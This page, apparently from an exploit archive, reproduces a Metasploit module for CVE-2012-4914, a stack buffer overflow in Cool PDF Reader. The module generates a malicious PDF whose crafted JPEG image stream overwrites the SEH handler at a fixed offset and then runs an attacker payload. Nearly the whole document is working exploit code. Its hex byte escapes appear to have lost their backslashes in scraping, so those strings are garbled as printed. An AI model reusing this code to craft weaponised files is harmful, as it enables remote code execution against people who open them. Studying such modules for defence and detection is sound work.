Home / exploits Cool PDF Image Stream Buffer Overflow
Posted on 20 March 2013
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::PDF include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Cool PDF Image Stream Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Cool PDF Reader prior to version 3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that contains a specially crafted image stream. This module has been tested successfully on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Francis Provencher', # Vulnerability discovery 'Chris Gabriel', # Proof of concept 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-4914' ], [ 'OSVDB', '89349' ], [ 'EDB', '24463' ], [ 'URL', 'http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70' ] ], 'Payload' => { 'Space' => 2000, 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3', { 'Offset' => 433, 'Ret' => 0x00539fa4 # ppr from coolpdf.exe } ] ], 'DisclosureDate' => 'Jan 18 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The output filename.', 'msf.pdf']) ], self.class) end def exploit file_create(make_pdf) end def jpeg p = payload.encoded sploit = "xFFxD8xFFxEEx00x0Ex41x64" + "x6Fx62x65x00x64x80x00x00" sploit << "x00x02xFFxDBx00x84x00x02" + "x02x02x02x02x02x02x02x02" sploit << "x02x03x02x02x02x03x04x03" + "x03x03x03x04x05x04x04x04" sploit << "x04x04x05x05x05x05x05x05" + "x05x05x05x05x07x08x08x08" sploit << "x07x05x09x0Ax0Ax0Ax0Ax09" + "x0Cx0Cx0Cx0Cx0Cx0Cx0Cx0C" sploit << "x0Cx0Cx0Cx0Cx0Cx0Cx0Cx01" + "x03x02x02x03x03x03x07x05" sploit << "x05x07x0Dx0Ax09x0Ax0Dx0F" + "x0Dx0Dx0Dx0Dx0Fx0Fx0Cx0C" sploit << "x0Cx0Cx0Cx0Fx0Fx0Cx0Cx0C" + "x0Cx0Cx0Cx0Fx0Cx0Ex0Ex0E" sploit << "x0Ex0Ex0Cx11x11x11x11x11" + "x11x11x11x11x11x11x11x11" sploit << "x11x11x11x11x11x11x11x11" + "xFFxC0x00x14x08x00x32x00" sploit << "xE6x04x01x11x00x02x11x01" + "x03x11x01x04x11x00xFFxC4" sploit << "x01xA2x00x00x00x07x01x01" + "x01x01x01x00x00x00x00x00" sploit << "x00x00x00x04x05x03x02x06" + "x01x00x07x08x09x0Ax0Bx01" sploit << "x54x02x02x03x01x01x01x01" + "x01x00x00x00x00x00x00x00" sploit << "x01x00x02x03x04x05x06x07" sploit << rand_text(target['Offset']) sploit << generate_seh_record(target.ret) sploit << p sploit << rand_text(2388 - p.length) return sploit end # Override the mixin obfuscator since it doesn't seem to work here. def nObfu(str) return str end def make_pdf @pdf << header add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")) add_object(2, nObfu("<</Type/Outlines>>")) add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")) add_object(4, nObfu("[/PDF/Text/ImageC]")) add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")) stream_1 = "stream" << eol stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol stream_1 << "endstream" << eol add_object(6, nObfu("<</Length 91>>#{stream_1}")) stream = "<<" << eol stream << "/Width 230" << eol stream << "/BitsPerComponent 8" << eol stream << "/Name /X" << eol stream << "/Height 50" << eol stream << "/Intent /RelativeColorimetric" << eol stream << "/Subtype /Image" << eol stream << "/Filter /DCTDecode" << eol stream << "/Length #{jpeg.length}" << eol stream << "/ColorSpace /DeviceCMYK" << eol stream << "/Type /XObject" << eol stream << ">>" stream << "stream" << eol stream << jpeg << eol stream << "endstream" << eol add_object(7, stream) finish_pdf end end
